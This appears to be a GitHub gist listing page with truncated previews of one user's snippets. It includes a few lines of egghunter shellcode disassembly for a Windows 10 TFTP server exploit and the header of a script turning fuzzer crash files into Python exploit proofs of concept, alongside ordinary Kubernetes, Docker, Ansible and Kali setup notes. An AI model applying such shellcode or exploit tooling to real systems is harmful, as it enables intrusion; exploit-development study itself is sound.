Skip to content

Instantly share code, notes, and snippets.

View habibiefaried's full-sized avatar
🏃‍♂️
Working non-stop

Habibie Faried habibiefaried

🏃‍♂️
Working non-stop
View GitHub Profile
@habibiefaried
habibiefaried / egghunter on modern windows
Last active April 5, 2024 19:34
This is egghunter that using NtAccessCheckAndAuditAlarm to check NT_ACCESS_VIOLATION. The system call is different in Windows 8 and 10. I make slight modification on this
;; These memory maps I take to create TFTPServer exploit on Windows 10
0062FF72 66:81CA FF0F OR DX,0FFF
0062FF77 42 INC EDX
0062FF78 52 PUSH EDX
0062FF79 33C0 XOR EAX,EAX
0062FF7B 66:B8 C601 MOV AX,1C6
0062FF7F CD 2E INT 2E
0062FF81 3C 05 CMP AL,5
0062FF83 5A POP EDX
@habibiefaried
habibiefaried / sources.list
Created March 20, 2018 03:39
Repo for kali (super fast for me at least)
deb http://kali.cs.nctu.edu.tw/kali kali-rolling main non-free contrib InRelease Release
deb-src http://kali.cs.nctu.edu.tw/kali kali-rolling main non-free contrib InRelease Release
@habibiefaried
habibiefaried / exploitgen.py
Last active March 21, 2018 03:53
This is to convert PEACH binary file into working python PoC. Only applies on network-based exploitation. Also you need to modify the output if necessary
#!/usr/bin/python
import sys
import binascii
'''
This python script will generate tcp/udp socket wrapper from PEACH crash binary
Always check this script's output!
Only works on single file PEACH crash binary
All printable characters will be printed out normally (instead of \\x)
'''
@habibiefaried
habibiefaried / exploitgen.py
Created April 28, 2018 13:47
Exploit generator from PEACH file
#!/usr/bin/python
import sys
import binascii
'''
This python script will generate tcp/udp socket wrapper from PEACH crash binary
Always check this script's output!
Only works on single file PEACH crash binary
All printable characters will be printed out normally (instead of \\x)
'''
@habibiefaried
habibiefaried / Kubernetes Ubuntu
Created July 23, 2018 10:11
Kubernetes cheatsheet list
sudo apt-get install virtualbox
curl -Lo minikube https://github.com/kubernetes/minikube/releases/download/v0.28.1/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/
curl -Lo kubectl https://storage.googleapis.com/kubernetes-release/release/v1.10.0/bin/linux/amd64/kubectl && chmod +x kubectl && sudo mv kubectl /usr/local/bin/
## CRI-O, but has to stopped first!
minikube start --container-runtime=cri-o
minikube dashboard --url
##learn on how to use kubectl
kubectl config view
kubectl cluster-info
@habibiefaried
habibiefaried / Dockerfile
Created March 21, 2019 07:38
Dockerfile for running centos with systemd
FROM centos/systemd
RUN yum -y update && yum -y install initscripts && yum clean all
CMD ["/usr/sbin/init"]
aws ec2 describe-instances --filters "Name=image-id,Values=ami-0c84dc4545a01d840" --query "Reservations[].Instances[].NetworkInterfaces[].PrivateIpAddresses[].PrivateIpAddress" --region=ap-southeast-1
@habibiefaried
habibiefaried / ansible.yml
Last active July 1, 2019 10:42
ansible_example
================================
all.yml
================================
- hosts: serv
tasks:
- name: "Updating YUM"
shell: "yum update"
register: out
- debug: var=out.stdout_lines
@habibiefaried
habibiefaried / ambari.yml
Created July 2, 2019 07:05
ansible ambari server
- hosts: serv
tasks:
- name: "Updating YUM"
shell: "yum update -y"
register: out
- debug: var=out.stdout_lines
- name: "Install pkgconfig wget"
shell: "yum install -y pkgconfig wget"
@habibiefaried
habibiefaried / kubernetes.notes
Last active July 11, 2019 13:22
Install kubernetes
Reference: https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/high-availability/
1. Set /proc/sys/net/bridge/bridge-nf-call-iptables to 1 by running sysctl net.bridge.bridge-nf-call-iptables=1 to pass bridged IPv4 traffic to iptables’ chains.
2. Ubuntu 18.04
3. Disable swap
4. Install docker
https://kubernetes.io/docs/setup/production-environment/container-runtimes/#docker
5. Disable firewall / Allow all access
6. Install kubeadm and kubelet
apt-get update && apt-get install -y apt-transport-https curl